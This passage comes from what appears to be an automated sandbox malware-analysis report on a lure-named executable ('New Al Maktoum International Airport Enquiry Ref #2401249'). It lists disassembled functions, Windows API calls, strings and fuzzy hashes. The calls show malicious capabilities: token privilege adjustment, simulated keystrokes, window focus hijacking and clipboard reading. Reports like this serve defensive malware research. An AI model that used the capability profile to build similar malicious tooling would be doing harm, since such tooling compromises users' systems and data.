Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 0302715ac60442b929505c2c850763bc772ba153059041595cbffebca8bee6c2
Instruction ID: 5eeedba24650adda7d80b045483b6e84270b4f4a89d92e89a0b51857994eb467
Opcode Fuzzy Hash: 0302715ac60442b929505c2c850763bc772ba153059041595cbffebca8bee6c2
Instruction Fuzzy Hash: C52142B4508342CFDB24EF14C484B1BBBE0BF88308F09896DE8AA47721D731E855DB66

Function 00C85D20 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,00010000,?,00000000,00000000,?,00010000,?,00C85807,00000000,00010000,00000000,00000000,00000000,00000000), ref: 00C85D76

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 5897caf9abc0aeb8ab58a79c013f7aa59ced2c35d5f349d6fd3d66b6296c90d6
Instruction ID: 003d21b3c0bd8f9860ba13ed4de4c039ebf9f6c3c7e647240d3c1f9388988fae
Opcode Fuzzy Hash: 5897caf9abc0aeb8ab58a79c013f7aa59ced2c35d5f349d6fd3d66b6296c90d6
Instruction Fuzzy Hash: B1113A31200B019FD3309F15C584B66B7E5EF45758F10C92EE8AA87A50D7B1F945CB64

Function 00C85BDA Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00CBE141

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 327c95574f60e5010daba2857bec39af6c2e223ed2d997c94b99b88fa264bf6e
Instruction ID: 4b634a0ae7740083ce71d324d3c27dfb0cf2056aa917466a6417e8275bfc6ab1
Opcode Fuzzy Hash: 327c95574f60e5010daba2857bec39af6c2e223ed2d997c94b99b88fa264bf6e
Instruction Fuzzy Hash: 0001DFB8200542AFC305EB29C881D6AFBA9FF8A3047148119F819C7702DB70EC21CBE0

Function 00CA4A93 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00CA4AD6

Part of subcall function 00CA8D68: __getptd_noexit.LIBCMT ref: 00CA8D68

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: 4ffd620b6406e107f8079bb6493993bdb5ae179970c5d1f495aa333619811e18
Instruction ID: a721884265547d2d68d0d40b67bc7fedbad49a761f7d9212456eb7e149873f3e
Opcode Fuzzy Hash: 4ffd620b6406e107f8079bb6493993bdb5ae179970c5d1f495aa333619811e18
Instruction Fuzzy Hash: 21F0A43194020B9BDF55AFB48C063DF7661AF4272DF084514F424AA1D1CBB88E64FF55

Function 00CA097A Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00CA09F4

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: f4d080f305362b169fa0d243051235ae4c2e60f4ed6739982650aff3713cf986
Instruction ID: 3fdf78fb51014c71db710cd81f3c07bba4534240de2eb61c3c3ad4be64b6e33a
Opcode Fuzzy Hash: f4d080f305362b169fa0d243051235ae4c2e60f4ed6739982650aff3713cf986
Instruction Fuzzy Hash: CCE026339841144BEF2093A59C06BFD73A9DF53320F3643AEAC05D3106D5655913A792

Function 00C84FAA Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,00D462F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00C84FDE

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: ce550fd06b81f6c716322bf13c9df7c9f78ea368550905d7a2c08a6404b500af
Instruction ID: 3e3234ef29cbcfc2ab49e71feef56aecb224be0691a63b079eceec3eb7111551
Opcode Fuzzy Hash: ce550fd06b81f6c716322bf13c9df7c9f78ea368550905d7a2c08a6404b500af
Instruction Fuzzy Hash: DBF03071505713CFCB38AFA5D494912BBE1BF1532D3218A3EE2D682610C7719940DF54

Function 00CA09D5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00CA09F4

Part of subcall function 00C87D2C: _memmove.LIBCMT ref: 00C87D66

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: 284a7d1436cff40ce45781c874e8f1d0684f2027e4365f1e609f42506a2f8990
Instruction ID: aaf3d1a0c848ea435817818256f56630cab555deead93347eda5cdecd8f37f9c
Opcode Fuzzy Hash: 284a7d1436cff40ce45781c874e8f1d0684f2027e4365f1e609f42506a2f8990
Instruction Fuzzy Hash: 61E0CD7690422857C720E6689C05FFA77EDDF88790F0402B6FC0CD7305E960AC818694

Function 00CE9129 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00CE914B

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 7603a7e23398706fbe611478ecf9e3358d47b441acc83f726054c373298f7434
Instruction ID: c73aa42afd4de480447b114fe294311fbf8fd082c5f05aedb0b42e26199b3c39
Opcode Fuzzy Hash: 7603a7e23398706fbe611478ecf9e3358d47b441acc83f726054c373298f7434
Instruction Fuzzy Hash: 30E092B0104B405FD7348A24D8107E373E0FB06315F00081CF2AA83341EB6278418759

Function 00C85DAE Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,00000000,00000000,?,00000001,?,?,?,00CBE16B,?,?,00000000), ref: 00C85DBF

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d568686fa7d3f7b168619a19ac8e80f5a72c1f42653fadc8b4182caed2a45c62
Instruction ID: 4ecbe4d73cb6c0c983c74b553925857593f5695a29c3e767c5616a01d53922f0
Opcode Fuzzy Hash: d568686fa7d3f7b168619a19ac8e80f5a72c1f42653fadc8b4182caed2a45c62
Instruction Fuzzy Hash: 34D0C774A4030CBFE710DB80DC46FA9777CD705710F200194FD0496790D6B27D508795

Function 00CA548B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00CA5496

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: 5877ff0931631079478888dce54fbdb9c21ec80df5455d38a789c00fe1ab3792
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: 2CB0927A84020C7BDE012E82EC02A593F199B45678F808020FB0C28162A673A6A0A689

Function 00CED2E6 Relevance: 1.4, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000002,00000000), ref: 00CED46A

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 9aa71172edffd4255e2898e353237289c2cf24466a0589ffbde9bedbc7ed561d
Instruction ID: d9608739987aafe867c3a241155a9b1b0d3832d810fcbe3f65a923aaace91829
Opcode Fuzzy Hash: 9aa71172edffd4255e2898e353237289c2cf24466a0589ffbde9bedbc7ed561d
Instruction Fuzzy Hash: AA7193342043428FC714EF65C4D1A6EB7E0AF98718F18492CF8979B2A2DB70EE05DB56

Non-executed Functions

Function 00D0CDAC Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 637windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00C82612: GetWindowLongW.USER32(?,000000EB), ref: 00C82623

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00D0CE50
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00D0CE91
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 00D0CED6
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00D0CF00
SendMessageW.USER32 ref: 00D0CF29
_wcsncpy.LIBCMT ref: 00D0CFA1
GetKeyState.USER32(00000011), ref: 00D0CFC2
GetKeyState.USER32(00000009), ref: 00D0CFCF
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00D0CFE5
GetKeyState.USER32(00000010), ref: 00D0CFEF
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00D0D018
SendMessageW.USER32 ref: 00D0D03F
SendMessageW.USER32(?,00001030,?,00D0B602), ref: 00D0D145
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00D0D15B
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00D0D16E
SetCapture.USER32(?), ref: 00D0D177
ClientToScreen.USER32(?,?), ref: 00D0D1DC
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00D0D1E9
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00D0D203
ReleaseCapture.USER32 ref: 00D0D20E
GetCursorPos.USER32(?), ref: 00D0D248
ScreenToClient.USER32(?,?), ref: 00D0D255
SendMessageW.USER32(?,00001012,00000000,?), ref: 00D0D2B1
SendMessageW.USER32 ref: 00D0D2DF
SendMessageW.USER32(?,00001111,00000000,?), ref: 00D0D31C
SendMessageW.USER32 ref: 00D0D34B
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00D0D36C
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00D0D37B
GetCursorPos.USER32(?), ref: 00D0D39B
ScreenToClient.USER32(?,?), ref: 00D0D3A8
GetParent.USER32(?), ref: 00D0D3C8
SendMessageW.USER32(?,00001012,00000000,?), ref: 00D0D431
SendMessageW.USER32 ref: 00D0D462
ClientToScreen.USER32(?,?), ref: 00D0D4C0
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00D0D4F0
SendMessageW.USER32(?,00001111,00000000,?), ref: 00D0D51A
SendMessageW.USER32 ref: 00D0D53D
ClientToScreen.USER32(?,?), ref: 00D0D58F
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00D0D5C3

Part of subcall function 00C825DB: GetWindowLongW.USER32(?,000000EB), ref: 00C825EC

GetWindowLongW.USER32(?,000000F0), ref: 00D0D65F

Strings

@GUI_DRAGID, xrefs: 00D0D1AA
F, xrefs: 00D0D543

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3977979337-4164748364
Opcode ID: dd86bc80d349a84026075513e3e867c90f454a2974de7ff8530bfaebb5bddc97
Instruction ID: 3a1e3dfb86803be20a4c64ae7440417512a9d68843af9b276dbc7ca43782d519
Opcode Fuzzy Hash: dd86bc80d349a84026075513e3e867c90f454a2974de7ff8530bfaebb5bddc97
Instruction Fuzzy Hash: 6E429B74204341AFD725CF68C848BAABBE6FF49314F180619F69A876E0C731D855DBB2

Function 00D0804A Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 571windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000400,00000000,00000000), ref: 00D0873F

Strings

%d/%02d/%02d, xrefs: 00D08478

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessageSend
String ID: %d/%02d/%02d
API String ID: 3850602802-328681919
Opcode ID: 25b87f411ab63c45581d016981207bd0fda74b4c28a9bdfcb6819a2d21245cca
Instruction ID: 82d8e0a2b293a62c35ad0a9b30fb25b3684257d575850c3d1c5b365f5116a24b
Opcode Fuzzy Hash: 25b87f411ab63c45581d016981207bd0fda74b4c28a9bdfcb6819a2d21245cca
Instruction Fuzzy Hash: C512BF71500344ABEB259F64CC49FAE7BB8EF85710F244129F999EB2E1DF709941EB20

Function 00C9710E Relevance: 48.8, APIs: 19, Strings: 6, Instructions: 5093COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00C975C2
_memset.LIBCMT ref: 00C976B1
_memmove.LIBCMT ref: 00C97C4B
_memmove.LIBCMT ref: 00C97E4F

Strings

[:<:]], xrefs: 00C975F1
\b(?=\w), xrefs: 00CD3C34
Q\E, xrefs: 00C981C1
\b(?<=\w), xrefs: 00CD3C41
[:>:]], xrefs: 00C9760A
DEFINE, xrefs: 00CD25AF

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _memmove$_memset
String ID: DEFINE$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)
API String ID: 1357608183-1798697756
Opcode ID: 90acd37ab5944261da828507e43ad449f219dce14aad9f6f6a2233ae34aff9fa
Instruction ID: 3d49a42fc670a9bd982270ed32674173896b8c09e5095ee2b6854fc94b109f72
Opcode Fuzzy Hash: 90acd37ab5944261da828507e43ad449f219dce14aad9f6f6a2233ae34aff9fa
Instruction Fuzzy Hash: 51939F71A00219DBDF24CF98C885BADB7B1FF48710F25816BEA55AB390E7709E81DB50

Function 00C84A35 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?), ref: 00C84A3D
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00CBDA8E
IsIconic.USER32(?), ref: 00CBDA97
ShowWindow.USER32(?,00000009), ref: 00CBDAA4
SetForegroundWindow.USER32(?), ref: 00CBDAAE
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00CBDAC4
GetCurrentThreadId.KERNEL32 ref: 00CBDACB
GetWindowThreadProcessId.USER32(?,00000000), ref: 00CBDAD7
AttachThreadInput.USER32(?,00000000,00000001), ref: 00CBDAE8
AttachThreadInput.USER32(?,00000000,00000001), ref: 00CBDAF0
AttachThreadInput.USER32(00000000,?,00000001), ref: 00CBDAF8
SetForegroundWindow.USER32(?), ref: 00CBDAFB
MapVirtualKeyW.USER32(00000012,00000000), ref: 00CBDB10
keybd_event.USER32(00000012,00000000), ref: 00CBDB1B
MapVirtualKeyW.USER32(00000012,00000000), ref: 00CBDB25
keybd_event.USER32(00000012,00000000), ref: 00CBDB2A
MapVirtualKeyW.USER32(00000012,00000000), ref: 00CBDB33
keybd_event.USER32(00000012,00000000), ref: 00CBDB38
MapVirtualKeyW.USER32(00000012,00000000), ref: 00CBDB42
keybd_event.USER32(00000012,00000000), ref: 00CBDB47
SetForegroundWindow.USER32(?), ref: 00CBDB4A
AttachThreadInput.USER32(?,?,00000000), ref: 00CBDB71

Strings

Shell_TrayWnd, xrefs: 00CBDA89

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: c0cd6d10962f03704c6f62887d2bd52dd5f0f39f4dad81d42472e4b6c756a024
Instruction ID: b61a44f24bb42738f5fff03fc1e5261768a447610d73289e497b0bded6454780
Opcode Fuzzy Hash: c0cd6d10962f03704c6f62887d2bd52dd5f0f39f4dad81d42472e4b6c756a024
Instruction Fuzzy Hash: D9317371A40318BBEB316F619C49FBE7E6CEB44B50F214025FA05EA2D0D6B15941ABB1

Function 00CD8858 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00CD8CC3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00CD8D0D
Part of subcall function 00CD8CC3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00CD8D3A
Part of subcall function 00CD8CC3: GetLastError.KERNEL32 ref: 00CD8D47

_memset.LIBCMT ref: 00CD889B
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00CD88ED
CloseHandle.KERNEL32(?), ref: 00CD88FE
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00CD8915
GetProcessWindowStation.USER32 ref: 00CD892E
SetProcessWindowStation.USER32(00000000), ref: 00CD8938
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00CD8952

Part of subcall function 00CD8713: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00CD8851), ref: 00CD8728
Part of subcall function 00CD8713: CloseHandle.KERNEL32(?,?,00CD8851), ref: 00CD873A

Strings

default, xrefs: 00CD894D
, xrefs: 00CD88AA
winsta0, xrefs: 00CD8910

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: 8317526bc846a6f6790afe7a1b5b7d7b5548b36717e8f422bd0d0ffd517c9b06
Instruction ID: d6012d44b4845594164b98e402f40612152d43a828b48bfc9a626529c270e412
Opcode Fuzzy Hash: 8317526bc846a6f6790afe7a1b5b7d7b5548b36717e8f422bd0d0ffd517c9b06
Instruction Fuzzy Hash: 4C814271900209AFDF11DFA4DC45AEEBB78EF04704F18415BFA28A6361DB718E19EB60

Function 00CF425A Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00D0F910), ref: 00CF4284
IsClipboardFormatAvailable.USER32(0000000D), ref: 00CF4292
GetClipboardData.USER32(0000000D), ref: 00CF429A
CloseClipboard.USER32 ref: 00CF42A6
GlobalLock.KERNEL32(00000000), ref: 00CF42C2
CloseClipboard.USER32 ref: 00CF42CC
